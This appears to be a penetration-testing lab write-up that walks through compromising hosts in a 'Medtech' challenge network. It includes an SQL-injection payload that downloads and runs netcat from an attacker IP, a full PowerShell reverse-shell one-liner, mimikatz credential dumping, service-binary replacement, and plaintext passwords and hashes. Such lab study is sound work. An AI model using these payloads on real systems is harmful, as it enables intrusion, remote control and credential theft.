# Challenge 1 - Medtech
* 
* 

## 0x1 Recon
### Rustscan
* 120
* 
* 121
* 
* 122
* 

### Nmap
#### Internet
* 192.168.115.120
* 
* 121
* 
* 122
* 

#### Intranet
* 172.16.115.10 (DC01)
* 

* 172.16.115.11 (FILES02)
* 

* 172.16.115.12 (DEV04)
* 

* 172.16.115.13 (PROD01)
* 

* 172.16.115.14 (Linux?)
* 

* 172.16.115.82 (CLIENT01)
* 

* 172.16.115.83 (CLIENT02)
* 

### Website
* In 121 login page has sqli vulnerable
* 

## 0x2 Shell as mssql(WEB02_121)
* Got hash from `xp_dirtree` with `reponder`,but I can't crack it
* 

123';exec master..xp_dirtree '\\192.168.45.155\test';--

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
EXEC xp_cmdshell 'certutil -urlcache -f http://192.168.45.249:8000/nc.exe C:\windows\temp\nc.exe';
EXEC xp_cmdshell 'C:\windows\temp\nc.exe 192.168.45.249 9005 -e cmd.exe';--

* Run sqlmap
* 
* 

sqlmap -r req_121 --level 5 --risk 3 --batch --dbs -p ctl00%24ContentPlaceHolder1%24UsernameTextBox

* Got reverse shell
* 
* 

powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('192.168.45.187', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

rlwrap -cAr nc -lvnp 4444

* Upload and running `tsh`
* 

## 0x3 Shell as Administrator(WEB02_121)
* Juicypotato success
* 
* Use `mimikatz` got admin's hash
* 
* `administrator:b2c03054c306ac8fc5f9d188710b0168`

PS> mimikatz.exe
mimikatz # lsadump::sam

* Now we can connect winrm use admin's credential
* 
* Download `test.zip` in `joe` Downloads folder
* 
* Found a sql credntial
* 
* `sa:WhileChirpTuesday218`
* Running `netstat` found 121 has connect to 172.16.138.*,this maybe useful
* 
* Found user `joe` password with `mimikatz` loginpasswords
* 

## 0x4 Shell as offsec (VPN_122)
* Login to 122 with `ssh` as offsec, password is `password`
* `offsec:password`
* 

## 0x5 Shell as root (VPN_122)
* Use `openvpn` open a shell as root
* 

## 0x6 Shell as joe (FILES02_11)
* `joe:Flowers1`
* 
* Found another user credential in `fileMonitorBackup.log`
* 
* 
* 
* 
* 

* `goomba:8e9e1516818ce4e54247e71e71b5f436`
* `toad:5be63a865b65349851c1f11a067a3068`
* `daisy:abf36048c1cf88f5603381c5128feb8e`
* `wario:fdf36048c1cf88f5630381c5e38feb8e`
* Only `wario` password can cracked, is `Mushroom!`
* `wario:Mushroom!`
## 0x7 Shell as system (FILES02_11)
* Upload `Juicypotato` & `nc` and run it
* 
* 
* Got admin hash from `mimikatz`
* 
* `Administrator:f1014ac49bae005ee3ece5f47547d185`

## 0x8 Shell as wario (CLIENT02_83)
* Login to CLIENT02 as `wario`
* 
* 
* `wario:Mashroom!`

## 0x9 Shell as system (CLIENT02_83)
* Follow the linpeas output, we found the file called `audittraker.exe` has Allaccess privilege to everyone
* 

* So I covert to our malicious file, then use `sc.exe` start service, and got shell as system
* 
* 
* Dump hash with `mimikatz`
* 

## 0x10 Shell as system (CLIENT01_82)
* Found another credential on CLIENT01 SMB
* 
* `yoshi:Mushroom!`
* 

* Use `psexec.py` login as `yoshi`
* 
* 

## 0x11 Shell as yoshi (DEV04_12)
* 
* 

## 0x12 Shell as administrator (DEV04_12)
* `winpeas` shows the file in `C:\TEMP` has write permission for `yoshi` called `backup.exe`, and it will be schduled to execute
* 

* So I covert it to our malicious file, and got shell as admin
* 
* 

* Found user `leon` password with `mimikatz`
* 
* `leon:rabbit:)`

## 0x13 Shell as leon (PROD01_13)
* 
* 

## 0x14 Shell as system (PROD01_13)
* Upload the potato and nc, got shell as system
* 

* Administrator hash from `mimikatz`
* 

## 0x15 Shell as system(DC01_10)
* 

## 0x16 Shell as offsec (WEB01_120)
* 
* 
* `offsec/century6`

## 0x17 Shell as root (WEB01_120)
* Using `sudo su` switch to `root`
*